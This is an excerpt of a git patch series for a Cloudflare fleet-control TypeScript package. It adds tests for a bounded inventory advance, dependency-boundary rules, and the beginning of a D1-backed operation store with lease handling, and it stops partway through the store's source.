stubContext(), + store: new FakeInventoryRunStore(), + maxProviderRequests, + }), + ).rejects.toThrow( + 'maxProviderRequests must be an integer from 9 to 1000', + ); + } + for (const maxProviderRequests of [9, 1_000]) { + const result = await runToCompletion({ + context: stubContext(), + store: new FakeInventoryRunStore(), + maxProviderRequests, + }); + expect(result.status).toBe('complete'); + } + }); + + it('refuses a staged-row budget outside 1..2000 and accepts both bounds', async () => { + for (const maxStagedRowsPerChunk of [0, 2_001]) { + await expect( + runToCompletion({ + context: stubContext(), + store: new FakeInventoryRunStore(), + maxProviderRequests: MAX_PROVIDER_REQUESTS, + maxStagedRowsPerChunk, + }), + ).rejects.toThrow( + 'maxStagedRowsPerChunk must be an integer from 1 to 2000', + ); + } + for (const maxStagedRowsPerChunk of [1, 2_000]) { + const result = await runToCompletion({ + context: stubContext(), + store: new FakeInventoryRunStore(), + maxProviderRequests: MAX_PROVIDER_REQUESTS, + maxStagedRowsPerChunk, + }); + expect(result.status).toBe('complete'); + } + }); + + it('canonicalizes and digests the options it persists at start', async () => { + const store = new FakeInventoryRunStore(); + await advanceFleetInventory({ + context: stubContext(), + store, + action: { + kind: 'start', + operationId: OPERATION_ID, + options: STUB_OPTIONS, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }); + + const run = store.runs.get(OPERATION_ID); + const canonical: FleetInventoryRunOptions = + canonicalFleetInventoryRunOptions(STUB_OPTIONS); + expect(canonical.includeDispatchNamespace).toBe(true); + expect(canonical.includeR2Buckets).toBe(false); + expect(run?.options).toEqual(canonical); + expect(run?.optionsDigest).toBe(fleetInventoryOptionsDigest(canonical)); + }); + + it('replays a start for the same operation without a new generation', async () => { + const store = new FakeInventoryRunStore(); + const context = stubContext(); + const first = await advanceFleetInventory({ + context, + store, + action: { + kind: 'start', + operationId: OPERATION_ID, + options: STUB_OPTIONS, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }); + const second = await advanceFleetInventory({ + context, + store, + action: { + kind: 'start', + operationId: OPERATION_ID, + options: STUB_OPTIONS, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }); + + expect(first.token.operationId).toBe(OPERATION_ID); + expect(second.status).toBe('complete'); + expect(store.runs.size).toBe(1); + expect(store.nextGeneration).toBe(2); + }); + + it('contends on a foreign active operation without any provider call', async () => { + const store = new FakeInventoryRunStore(); + store.activeOperationId = FOREIGN_OPERATION_ID; + const context = stubContext(); + + await expect( + advanceFleetInventory({ + context, + store, + action: { + kind: 'start', + operationId: OPERATION_ID, + options: STUB_OPTIONS, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }), + ).rejects.toThrow( + 'another fleet inventory operation owns this account head', + ); + expect(context.inputs).toHaveLength(0); + }); + + it('returns the authoritative result for a stale token with zero provider calls', async () => { + const store = new FakeInventoryRunStore(); + const context = stubContext(); + const started = await advanceFleetInventory({ + context, + store, + action: { + kind: 'start', + operationId: OPERATION_ID, + options: STUB_OPTIONS, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }); + const calls = context.inputs.length; + + const stale = await advanceFleetInventory({ + context, + store, + action: { + kind: 'continue', + token: { version: 1, operationId: OPERATION_ID, revision: 0 }, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }); + + expect(started.token.revision).toBe(1); + expect(stale).toEqual(started); + expect(context.inputs).toHaveLength(calls); + }); + + it('refuses a token ahead of the persisted run', async () => { + const store = new FakeInventoryRunStore(); + const context = stubContext(); + await advanceFleetInventory({ + context, + store, + action: { + kind: 'start', + operationId: OPERATION_ID, + options: STUB_OPTIONS, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }); + + await expect( + advanceFleetInventory({ + context, + store, + action: { + kind: 'continue', + token: { version: 1, operationId: OPERATION_ID, revision: 9 }, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }), + ).rejects.toBeInstanceOf(FleetInventoryRunTokenFutureError); + }); + + it('completes an unknown lease operation whose persisted run is finalized', async () => { + const store = new FakeInventoryRunStore(); + const completed = await runToCompletion({ + context: stubContext(), + store, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }); + store.hiddenFromLease.add(OPERATION_ID); + + const replay = await advanceFleetInventory({ + context: stubContext(), + store, + action: { kind: 'continue', token: completed.token }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }); + + expect(replay.status).toBe('complete'); + expect(replay).toEqual(completed); + }); + + it('refuses a token for an operation the store has never seen', async () => { + await expect( + advanceFleetInventory({ + context: stubContext(), + store: new FakeInventoryRunStore(), + action: { + kind: 'continue', + token: { version: 1, operationId: OPERATION_ID, revision: 0 }, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }), + ).rejects.toBeInstanceOf(FleetInventoryRunTokenOperationError); + }); + + it('refuses a malformed token before it reaches the account lease', async () => { + const store = new FakeInventoryRunStore(); + + await expect( + advanceFleetInventory({ + context: stubContext(), + store, + action: { kind: 'continue', token: { version: 2, revision: -1 } }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }), + ).rejects.toBeInstanceOf(FleetInventoryRunTokenError); + expect(store.leases).toBe(0); + }); + + it('aborts a lost lease at the dispatch boundary before any provider call', async () => { + const store = new FakeInventoryRunStore(); + store.leaseLost = true; + const context = stubContext(); + + await expect( + advanceFleetInventory({ + context, + store, + action: { + kind: 'start', + operationId: OPERATION_ID, + options: STUB_OPTIONS, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }), + ).rejects.toThrow('fleet inventory account lease was lost'); + expect(context.inputs).toHaveLength(0); + }); + + it('refuses a store that cannot stage bounded inventory runs', async () => { + const context = stubContext(); + + await expect( + advanceFleetInventory({ + context, + store: storeWithout( + new FakeInventoryRunStore(), + 'withAccountInventoryLease', + ), + action: { + kind: 'start', + operationId: OPERATION_ID, + options: STUB_OPTIONS, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }), + ).rejects.toThrow( + 'fleet inventory requires a run store with bounded staging support', + ); + expect(context.inputs).toHaveLength(0); + }); + + it('refuses a store that cannot read finalized generations', async () => { + const context = stubContext(); + + await expect( + advanceFleetInventory({ + context, + store: storeWithout( + new FakeInventoryRunStore(), + 'readFinalizedGeneration', + ), + action: { + kind: 'start', + operationId: OPERATION_ID, + options: STUB_OPTIONS, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }), + ).rejects.toThrow( + 'fleet inventory requires a run store that can read finalized generations', + ); + expect(context.inputs).toHaveLength(0); + }); + + it('refuses a store that cannot read a run by operation', async () => { + const context = stubContext(); + + await expect( + advanceFleetInventory({ + context, + store: storeWithout(new FakeInventoryRunStore(), 'readRunByOperation'), + action: { + kind: 'start', + operationId: OPERATION_ID, + options: STUB_OPTIONS, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }), + ).rejects.toThrow( + 'fleet inventory requires a run store that can read finalized generations', + ); + expect(context.inputs).toHaveLength(0); + }); + + it('refuses a store that cannot pin finalized generations', async () => { + const context = stubContext(); + const failure = await advanceFleetInventory({ + context, + store: storeWithout(new FakeInventoryRunStore(), 'pinGeneration'), + action: { + kind: 'start', + operationId: OPERATION_ID, + options: STUB_OPTIONS, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }).catch((error: unknown) => error); + + expect(failure).toBeInstanceOf(FleetInventoryAdvanceCapabilityError); + expect((failure as FleetInventoryAdvanceCapabilityError).capability).toBe( + 'generation-pin', + ); + expect(context.inputs).toHaveLength(0); + }); + + it('materializes a generation from a store that can only read it', async () => { + const bounded = await boundedWithClient( + fleetInventoryDrainHandler(fleetInventoryDrainWorld()), + DRAIN_ACCOUNT_ID, + DRAIN_DISPATCH_NAMESPACE, + DRAIN_INVENTORY_OPTIONS, + ); + const readOnly = storeWithout( + storeWithout(bounded.store, 'withAccountInventoryLease'), + 'pinGeneration', + ); + + await expect(readFleetInventoryGeneration(readOnly, 1)).resolves.toEqual( + bounded.inventory, + ); + }); + + it('completes with a generation reference rather than an inventory', async () => { + const store = new FakeInventoryRunStore(); + const result = await runToCompletion({ + context: stubContext(), + store, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }); + + expect(result.status).toBe('complete'); + if (result.status !== 'complete') return; + expect(Object.keys(result.generation).sort()).toEqual([ + 'factCount', + 'finalizedAtMs', + 'generation', + 'operationId', + 'rowManifest', + ]); + expect(result.generation).not.toHaveProperty('findings'); + expect(result.generation).not.toHaveProperty('deployments'); + }); + + it('materializes the golden world into the baseline inventory minus the two provider details', async () => { + const bounded = await boundedWithClient( + fleetInventoryDrainHandler(fleetInventoryDrainWorld()), + DRAIN_ACCOUNT_ID, + DRAIN_DISPATCH_NAMESPACE, + DRAIN_INVENTORY_OPTIONS, + ); + + expect(bounded.inventory).toEqual( + sanitizedInventory(DRAIN_BASELINE_INVENTORY as FleetResourceInventory), + ); + }); + + it('refuses to materialize a staging, failed, or corrupt generation', async () => { + const staging = new FakeInventoryRunStore(); + await advanceFleetInventory({ + context: stubContext(), + store: staging, + action: { + kind: 'start', + operationId: OPERATION_ID, + options: STUB_OPTIONS, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }); + await expect(readFleetInventoryGeneration(staging, 1)).rejects.toThrow( + 'fleet inventory generation 1 is not finalized', + ); + + const failed = new FakeInventoryRunStore(); + await failed.withAccountInventoryLease(async (lease) => { + await lease.startRun({ + operationId: OPERATION_ID, + options: canonicalFleetInventoryRunOptions(STUB_OPTIONS), + optionsDigest: fleetInventoryOptionsDigest( + canonicalFleetInventoryRunOptions(STUB_OPTIONS), + ), + }); + await lease.failRun({ + operationId: OPERATION_ID, + expectedRevision: 0, + reason: 'operator-abandoned', + }); + }); + await expect(readFleetInventoryGeneration(failed, 1)).rejects.toThrow( + 'fleet inventory generation 1 is not finalized', + ); + + const corrupt = await boundedWithClient( + fleetInventoryDrainHandler(fleetInventoryDrainWorld()), + DRAIN_ACCOUNT_ID, + DRAIN_DISPATCH_NAMESPACE, + DRAIN_INVENTORY_OPTIONS, + ); + corrupt.store.rows.get(1)?.pop(); + await expect( + readFleetInventoryGeneration(corrupt.store, 1), + ).rejects.toThrow( + 'fleet inventory generation 1 does not match its manifest', + ); + }); + + it('keeps the abort signal call-local and never persists it', async () => { + const store = new FakeInventoryRunStore(); + const context = stubContext(); + const controller = new AbortController(); + await advanceFleetInventory({ + context, + store, + action: { + kind: 'start', + operationId: OPERATION_ID, + options: STUB_OPTIONS, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + signal: controller.signal, + }); + + expect(context.inputs[0]?.signal).toBe(controller.signal); + expect(JSON.stringify(store.runs.get(OPERATION_ID))).not.toContain( + 'signal', + ); + + const aborted = new AbortController(); + aborted.abort(new Error('inventory aborted')); + const abortingContext: FleetInventoryProviderContext = { + advanceStage: async (input) => { + input.signal?.throwIfAborted(); + throw new Error('unreachable'); + }, + }; + await expect( + advanceFleetInventory({ + context: abortingContext, + store: new FakeInventoryRunStore(), + action: { + kind: 'start', + operationId: OPERATION_ID, + options: STUB_OPTIONS, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + signal: aborted.signal, + }), + ).rejects.toThrow('inventory aborted'); + }); + + it('never stages a secret value, credential header byte, or provider cursor', async () => { + const bounded = await boundedWithClient( + fleetInventoryDrainHandler(fleetInventoryDrainWorld()), + DRAIN_ACCOUNT_ID, + DRAIN_DISPATCH_NAMESPACE, + DRAIN_INVENTORY_OPTIONS, + ); + const staged = JSON.stringify([ + ...(bounded.store.rows.get(1) ?? []), + ...(bounded.store.facts.get(1) ?? []), + ]); + const runRecord = JSON.stringify(bounded.store.runs.get(OPERATION_ID)); + + for (const forbidden of [ + 'Authorization', + 'authorization', + 'Bearer ', + 'token', + ]) { + expect(staged).not.toContain(forbidden); + expect(runRecord).not.toContain(forbidden); + } + for (const forbidden of ['cursor', 'startAfter']) { + expect(staged).not.toContain(forbidden); + } + // Secret NAMES are durable by design; a secret VALUE never is. + expect(staged).toContain('MAINTENANCE_ADMIN'); + }); +}); diff --git a/scripts/architecture-fixtures/inventory-advance-imports-provider.ts b/scripts/architecture-fixtures/inventory-advance-imports-provider.ts new file mode 100644 index 00000000..3c110fb9 --- /dev/null +++ b/scripts/architecture-fixtures/inventory-advance-imports-provider.ts @@ -0,0 +1,2 @@ +import '../../packages/fleet-control/src/cloudflare-fleet-inventory.js'; +import '../../packages/fleet-control/src/cloudflare-worker-attachment-scan.js'; diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index ef51db7f..1981feb0 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -110,6 +110,8 @@ const controls = { 'scripts/architecture-fixtures/inventory-state-imports-provider.ts', 'fleet-control-decommission-advance-is-transport-neutral': 'scripts/architecture-fixtures/decommission-advance-imports-provider.ts', + 'fleet-control-inventory-advance-is-transport-neutral': + 'scripts/architecture-fixtures/inventory-advance-imports-provider.ts', 'fleet-control-cleanup-advance-is-transport-neutral': 'scripts/architecture-fixtures/cleanup-advance-imports-provider.ts', 'fleet-control-decommission-database-is-provider-neutral': From 82bfde1e3ef2a56f6173e22d363faf52260b9644 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 1 Sep 2026 20:47:19 +0400 Subject: [PATCH 052/169] feat(fleet-control): add the fleet-operation state machine, D1 operation store, and harness coverage R4-A of the C2-R4 plan: the shared operation state module (tokens, record/row codecs, bounds, canonical serialization, intake digest, detail safety gate), the audit and migration state codecs, the four-table D1 operation store (per-kind leases, classified start outcomes, guarded staging and commits with ordinal-range watermarks, a convergence read that re-verifies claimed watermarks, byte-exact terminal fail batches under an owned 18-row bound, release-first pruning under the fleet-audit pin identity), the nine-action real-D1 harness extension, and the operation-state-does-not-reach-provider dependency fence with its positive control (rules 26 -> 27, runner controls 27 -> 28). Package suite 1,376 -> 1,438. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01KRECeuo6T37aouqqT3CaMK --- .dependency-cruiser.cjs | 20 +- .../src/d1-fleet-operation-store.ts | 1255 +++++++++++++++ .../fleet-control/src/fleet-audit-state.ts | 326 ++++ .../src/fleet-migration-state.ts | 225 +++ .../src/fleet-operation-state.ts | 541 +++++++ .../fixtures/fleet-state-harness-probe.ts | 496 ++++++ .../test/fleet-operation-state.test.ts | 553 +++++++ .../test/fleet-operation-store.test.ts | 1415 +++++++++++++++++ .../test/state-store.harness.test.ts | 164 ++ .../operation-state-imports-provider.ts | 4 + .../architecture-positive-controls.test.mjs | 2 + 11 files changed, 4999 insertions(+), 2 deletions(-) create mode 100644 packages/fleet-control/src/d1-fleet-operation-store.ts create mode 100644 packages/fleet-control/src/fleet-audit-state.ts create mode 100644 packages/fleet-control/src/fleet-migration-state.ts create mode 100644 packages/fleet-control/src/fleet-operation-state.ts create mode 100644 packages/fleet-control/test/fleet-operation-state.test.ts create mode 100644 packages/fleet-control/test/fleet-operation-store.test.ts create mode 100644 scripts/architecture-fixtures/operation-state-imports-provider.ts diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index 92b9bca7..4a72dc07 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -235,6 +235,22 @@ module.exports = { reachable: true, }, }, + { + name: 'fleet-control-operation-state-does-not-reach-provider', + severity: 'error', + comment: + 'Persisted fleet operation state and its D1 store are a provider-free authority boundary. Keeping provider clients, operations, and error classification out of their reachable graph prevents the operation codecs and guarded batches from acquiring credential or transport dependencies.', + from: { + path: [ + '^packages/fleet-control/src/(?:fleet-operation-state|fleet-audit-state|fleet-migration-state|d1-fleet-operation-store)\\.ts$', + '^scripts/architecture-fixtures/operation-state-imports-provider\\.ts$', + ], + }, + to: { + path: '(?:^packages/fleet-control/src/(?:cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors)\\.ts$|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', + reachable: true, + }, + }, { name: 'fleet-control-decommission-advance-is-transport-neutral', severity: 'error', @@ -337,10 +353,10 @@ module.exports = { name: 'fleet-control-ports-do-not-reach-d1-adapter', severity: 'error', comment: - 'The D1 adapter implements ports that state-store.ts and migration-ledger.ts declare and imports state-store.ts, which reaches migration-ledger.ts through backend-switch.ts, so a port module reaching the adapter would close a cycle. d1-fleet-inventory-run-store.ts consumes the same port and must stay binding-agnostic for the same reason.', + 'The D1 adapter implements ports that state-store.ts and migration-ledger.ts declare and imports state-store.ts, which reaches migration-ledger.ts through backend-switch.ts, so a port module reaching the adapter would close a cycle. d1-fleet-inventory-run-store.ts and d1-fleet-operation-store.ts consume the same port and must stay binding-agnostic for the same reason.', from: { path: [ - '^packages/fleet-control/src/(?:state-store|migration-ledger|d1-fleet-inventory-run-store)\\.ts$', + '^packages/fleet-control/src/(?:state-store|migration-ledger|d1-fleet-inventory-run-store|d1-fleet-operation-store)\\.ts$', '^scripts/architecture-fixtures/fleet-control-port-imports-d1-adapter\\.ts$', ], }, diff --git a/packages/fleet-control/src/d1-fleet-operation-store.ts b/packages/fleet-control/src/d1-fleet-operation-store.ts new file mode 100644 index 00000000..0a47e47c --- /dev/null +++ b/packages/fleet-control/src/d1-fleet-operation-store.ts @@ -0,0 +1,1255 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { randomUUID } from 'node:crypto'; +import { + driftFindingRowFromUnknown, + fleetAuditFactRowFromUnknown, + fleetAuditOperationRecordFromUnknown, +} from './fleet-audit-state.js'; +import type { FleetInventoryRunStore } from './fleet-inventory-state.js'; +import { fleetMigrationItemFromUnknown } from './fleet-migration-state.js'; +import { + canonicalFleetOperationBytes, + FLEET_OPERATION_KINDS, + FLEET_OPERATION_ROW_KINDS, + FLEET_OPERATION_STAGE_BATCH_STATEMENTS, + type FleetOperationKind, + type FleetOperationLease, + type FleetOperationRowKind, + type FleetOperationRunRecord, + type FleetOperationStagedRow, + FleetOperationStateError, + type FleetOperationStore, + FleetOperationStoreCapabilityError, + fleetOperationRunRecordFromUnknown, + fleetOperationSafeInteger, + fleetOperationSha256, + fleetOperationStagedRowFromUnknown, +} from './fleet-operation-state.js'; +import type { FleetStateDatabase } from './state-store.js'; + +const LEASE_TABLE = 'anchorage_fleet_operation_leases'; +const HEAD_TABLE = 'anchorage_fleet_operation_heads'; +const OPERATION_TABLE = 'anchorage_fleet_operations'; +const ROW_TABLE = 'anchorage_fleet_operation_rows'; +const LEASE_TTL_MS = 15 * 60_000; +const LEASE_RENEWAL_INTERVAL_MS = 5 * 60_000; +// Byte-identical to state-store.ts:134. The Wrangler harness lease clock +// rewrites exactly this substring, so every SQL string in this module must +// express database time with this token and no other time expression. +const DB_NOW_MS = "CAST(unixepoch('subsec') * 1000 AS INTEGER)"; +const LIMIT_MAX = 1_000; +const KIND_CHECK = FLEET_OPERATION_KINDS.map((kind) => `'${kind}'`).join(','); +const ROW_KIND_CHECK = FLEET_OPERATION_ROW_KINDS.map( + (kind) => `'${kind}'`, +).join(','); + +type Row = Readonly>; + +const EXPECTED_COLUMNS: Readonly< + Record>> +> = Object.freeze({ + [LEASE_TABLE]: { + account_id: 'TEXT', + operation_kind: 'TEXT', + owner_token: 'TEXT', + expires_at: 'INTEGER', + }, + [HEAD_TABLE]: { + account_id: 'TEXT', + operation_kind: 'TEXT', + active_operation_id: 'TEXT', + }, + [OPERATION_TABLE]: { + account_id: 'TEXT', + operation_id: 'TEXT', + operation_kind: 'TEXT', + intake_digest: 'TEXT', + op_record: 'TEXT', + created_at_ms: 'INTEGER', + terminal_at_ms: 'INTEGER', + }, + [ROW_TABLE]: { + account_id: 'TEXT', + operation_id: 'TEXT', + row_kind: 'TEXT', + ordinal: 'INTEGER', + payload: 'TEXT', + }, +}); + +export interface D1FleetOperationStoreOptions { + readonly accountId: string; + readonly leaseTtlMs?: number; + readonly leaseRenewalIntervalMs?: number; + readonly inventoryStore?: FleetInventoryRunStore; +} + +function rowString(row: Row | undefined, key: string): string { + const value = row?.[key]; + if (typeof value !== 'string') { + throw new Error(`fleet operation row has invalid ${key}`); + } + return value; +} + +function rowNumber(row: Row | undefined, key: string): number { + const value = Number(row?.[key]); + if (!Number.isSafeInteger(value)) { + throw new Error(`fleet operation row has invalid ${key}`); + } + return value; +} + +function assertLimit(limit: number): void { + if (!Number.isSafeInteger(limit) || limit < 1 || limit > LIMIT_MAX) { + throw new Error(`limit must be an integer from 1 to ${LIMIT_MAX}`); + } +} + +function assertKind(kind: FleetOperationKind): void { + if (!FLEET_OPERATION_KINDS.includes(kind)) { + throw new FleetOperationStateError(); + } +} + +function operationConflict(operationId: string): Error { + return new Error( + `fleet operation '${operationId}' is no longer at the expected revision`, + ); +} + +function operationDivergence(operationId: string): Error { + return new Error( + `fleet operation '${operationId}' staged rows diverge from the persisted operation`, + ); +} + +function finalizeMismatch(operationId: string): Error { + return new Error( + `fleet operation '${operationId}' does not match its finalize counts`, + ); +} + +function unknownOperation(operationId: string): Error { + return new Error(`no fleet operation '${operationId}'`); +} + +function parseJson(value: string): unknown { + try { + return JSON.parse(value) as unknown; + } catch { + throw new FleetOperationStateError(); + } +} + +function rowPayloadFromUnknown( + kind: FleetOperationKind, + row: unknown, +): FleetOperationStagedRow { + const parsed = fleetOperationStagedRowFromUnknown(row); + if (kind === 'audit') { + if (parsed.rowKind === 'item') throw new FleetOperationStateError(); + return { + ...parsed, + payload: + parsed.rowKind === 'finding' + ? driftFindingRowFromUnknown(parsed.payload) + : parsed.rowKind === 'fact' + ? fleetAuditFactRowFromUnknown(parsed.payload) + : parsed.payload, + }; + } + if (parsed.rowKind !== 'item') throw new FleetOperationStateError(); + const payload = fleetMigrationItemFromUnknown(parsed.payload); + if (payload.ordinal !== parsed.ordinal) { + throw new FleetOperationStateError(); + } + return { + ...parsed, + payload: { ...payload }, + }; +} + +function serializedPayload(row: FleetOperationStagedRow): string { + return row.rowKind === 'record' + ? canonicalFleetOperationBytes(row.payload) + : JSON.stringify(row.payload); +} + +/** Provider-neutral D1 operation store over the fleet state database port. */ +export class D1FleetOperationStore implements FleetOperationStore { + readonly #db: FleetStateDatabase; + readonly #accountId: string; + readonly #leaseTtlMs: number; + readonly #leaseRenewalIntervalMs: number; + readonly #inventoryStore: FleetInventoryRunStore | undefined; + #schemaReady: Promise | undefined; + + constructor(db: FleetStateDatabase, options: D1FleetOperationStoreOptions) { + this.#db = db; + if (!options.accountId) throw new Error('accountId is required'); + this.#accountId = options.accountId; + this.#leaseTtlMs = options.leaseTtlMs ?? LEASE_TTL_MS; + this.#leaseRenewalIntervalMs = + options.leaseRenewalIntervalMs ?? LEASE_RENEWAL_INTERVAL_MS; + this.#inventoryStore = options.inventoryStore; + if (!Number.isSafeInteger(this.#leaseTtlMs) || this.#leaseTtlMs < 1) { + throw new Error('leaseTtlMs must be a positive integer'); + } + if ( + !Number.isSafeInteger(this.#leaseRenewalIntervalMs) || + this.#leaseRenewalIntervalMs < 1 || + this.#leaseRenewalIntervalMs >= this.#leaseTtlMs + ) { + throw new Error( + 'leaseRenewalIntervalMs must be a positive integer below leaseTtlMs', + ); + } + } + + async #ensureSchema(): Promise { + const pending = this.#schemaReady ?? this.#initializeSchema(); + this.#schemaReady = pending; + try { + await pending; + } catch (error) { + if (this.#schemaReady === pending) this.#schemaReady = undefined; + throw error; + } + } + + async #initializeSchema(): Promise { + await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${LEASE_TABLE} ( + account_id TEXT NOT NULL, + operation_kind TEXT NOT NULL CHECK (operation_kind IN (${KIND_CHECK})), + owner_token TEXT NOT NULL, + expires_at INTEGER NOT NULL, + PRIMARY KEY (account_id, operation_kind) + )`); + await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${HEAD_TABLE} ( + account_id TEXT NOT NULL, + operation_kind TEXT NOT NULL CHECK (operation_kind IN (${KIND_CHECK})), + active_operation_id TEXT, + PRIMARY KEY (account_id, operation_kind) + )`); + await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${OPERATION_TABLE} ( + account_id TEXT NOT NULL, + operation_id TEXT NOT NULL, + operation_kind TEXT NOT NULL CHECK (operation_kind IN (${KIND_CHECK})), + intake_digest TEXT NOT NULL, + op_record TEXT NOT NULL, + created_at_ms INTEGER NOT NULL, + terminal_at_ms INTEGER, + PRIMARY KEY (account_id, operation_id) + )`); + await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${ROW_TABLE} ( + account_id TEXT NOT NULL, + operation_id TEXT NOT NULL, + row_kind TEXT NOT NULL CHECK (row_kind IN (${ROW_KIND_CHECK})), + ordinal INTEGER NOT NULL, + payload TEXT NOT NULL, + PRIMARY KEY (account_id, operation_id, row_kind, ordinal) + )`); + for (const [table, columns] of Object.entries(EXPECTED_COLUMNS)) { + const present = await this.#db.query(`PRAGMA table_info(${table})`); + for (const [name, type] of Object.entries(columns)) { + const column = present.find((candidate) => candidate.name === name); + if (!column || String(column.type).toUpperCase() !== type) { + throw new Error( + `fleet operation table '${table}' column '${name}' is absent or incompatible`, + ); + } + } + } + } + + #leaseExists(_kind: FleetOperationKind): string { + return `EXISTS (SELECT 1 FROM ${LEASE_TABLE} + WHERE account_id = ? AND operation_kind = ? AND owner_token = ? + AND expires_at > ${DB_NOW_MS})`; + } + + #leaseBindings(kind: FleetOperationKind, token: string): readonly unknown[] { + return [this.#accountId, kind, token]; + } + + #contention(kind: FleetOperationKind): Error { + return new Error( + `fleet ${kind} operations for account '${this.#accountId}' are already being modified`, + ); + } + + #leaseLost(kind: FleetOperationKind): Error { + return new Error( + `fleet ${kind} operation lease for account '${this.#accountId}' is no longer owned by this operation`, + ); + } + + async withAccountOperationLease( + kind: FleetOperationKind, + operation: (lease: FleetOperationLease) => Promise, + ): Promise { + return this.#withAccountOperationLeaseInternal(kind, (lease) => + operation(lease), + ); + } + + async #withAccountOperationLeaseInternal( + kind: FleetOperationKind, + operation: (lease: FleetOperationLease, token: string) => Promise, + ): Promise { + assertKind(kind); + await this.#ensureSchema(); + const token = randomUUID(); + const claimed = await this.#db.query( + `INSERT INTO ${LEASE_TABLE} ( + account_id, operation_kind, owner_token, expires_at + ) VALUES (?, ?, ?, ${DB_NOW_MS} + ?) + ON CONFLICT (account_id, operation_kind) DO UPDATE SET + owner_token = excluded.owner_token, + expires_at = excluded.expires_at + WHERE ${LEASE_TABLE}.expires_at <= ${DB_NOW_MS} + RETURNING owner_token, expires_at`, + [this.#accountId, kind, token, this.#leaseTtlMs], + ); + if (claimed.length !== 1 || claimed[0]?.owner_token !== token) { + throw this.#contention(kind); + } + return this.#runRenewingLease({ + kind, + token, + operation: (lease) => operation(lease, token), + }); + } + + async #runRenewingLease( + input: Readonly<{ + kind: FleetOperationKind; + token: string; + operation: (lease: FleetOperationLease) => Promise; + }>, + ): Promise { + const { kind, token, operation } = input; + const heartbeatAbort = new AbortController(); + const renewalErrors: unknown[] = []; + const assertOwned = async () => { + const heartbeatError = renewalErrors[0]; + if (heartbeatError !== undefined) { + throw new Error(`fleet ${kind} operation heartbeat failed`, { + cause: heartbeatError, + }); + } + await this.#renewLease(kind, token); + }; + const heartbeat = this.#renewUntilAborted( + () => this.#renewLease(kind, token), + heartbeatAbort.signal, + ).catch((error: unknown) => renewalErrors.push(error)); + const lease: FleetOperationLease = { + assertOwned, + startOperation: (value) => this.#startOperation(kind, token, value), + readOperation: (operationId) => this.readOperationById(operationId), + stageRows: (value) => this.#stageRows(kind, token, value), + commitProgress: (value) => this.#commitProgress(kind, token, value), + finalizeOperation: (value) => this.#finalizeOperation(kind, token, value), + failOperation: (value) => this.#failOperation(kind, token, value), + }; + + let operationFailed = false; + let operationError: unknown; + let outcome: { readonly value: T } | undefined; + try { + outcome = { value: await operation(lease) }; + } catch (error) { + operationFailed = true; + operationError = error; + } + heartbeatAbort.abort(); + await heartbeat; + if (!operationFailed && renewalErrors.length === 0) { + try { + await assertOwned(); + } catch (error) { + renewalErrors.push(error); + } + } + let releaseError: unknown; + try { + const released = await this.#db.query( + `DELETE FROM ${LEASE_TABLE} + WHERE account_id = ? AND operation_kind = ? AND owner_token = ? + RETURNING owner_token`, + [this.#accountId, kind, token], + ); + if (released.length !== 1 || released[0]?.owner_token !== token) { + throw this.#leaseLost(kind); + } + } catch (error) { + releaseError = error; + } + const errors: unknown[] = []; + if (operationFailed) errors.push(operationError); + errors.push(...renewalErrors); + if (releaseError !== undefined) errors.push(releaseError); + if (errors.length === 1) throw errors[0]; + if (errors.length > 1) { + throw new AggregateError( + errors, + `fleet ${kind} operation and lease cleanup failed`, + ); + } + if (!outcome) throw new Error(`fleet ${kind} operation had no outcome`); + return outcome.value; + } + + async #renewUntilAborted( + renew: () => Promise, + signal: AbortSignal, + ): Promise { + while (await this.#waitForRenewal(signal)) await renew(); + } + + #waitForRenewal(signal: AbortSignal): Promise { + if (signal.aborted) return Promise.resolve(false); + return new Promise((resolve) => { + const timeout = setTimeout( + () => finish(true), + this.#leaseRenewalIntervalMs, + ); + const aborted = () => finish(false); + const finish = (renew: boolean) => { + clearTimeout(timeout); + signal.removeEventListener('abort', aborted); + resolve(renew); + }; + signal.addEventListener('abort', aborted, { once: true }); + }); + } + + async #renewLease(kind: FleetOperationKind, token: string): Promise { + const renewed = await this.#db.query( + `UPDATE ${LEASE_TABLE} + SET expires_at = ${DB_NOW_MS} + ? + WHERE account_id = ? AND operation_kind = ? AND owner_token = ? + AND expires_at > ${DB_NOW_MS} + RETURNING owner_token, expires_at`, + [this.#leaseTtlMs, this.#accountId, kind, token], + ); + if (renewed.length !== 1 || renewed[0]?.owner_token !== token) { + throw this.#leaseLost(kind); + } + } + + async #startOperation( + 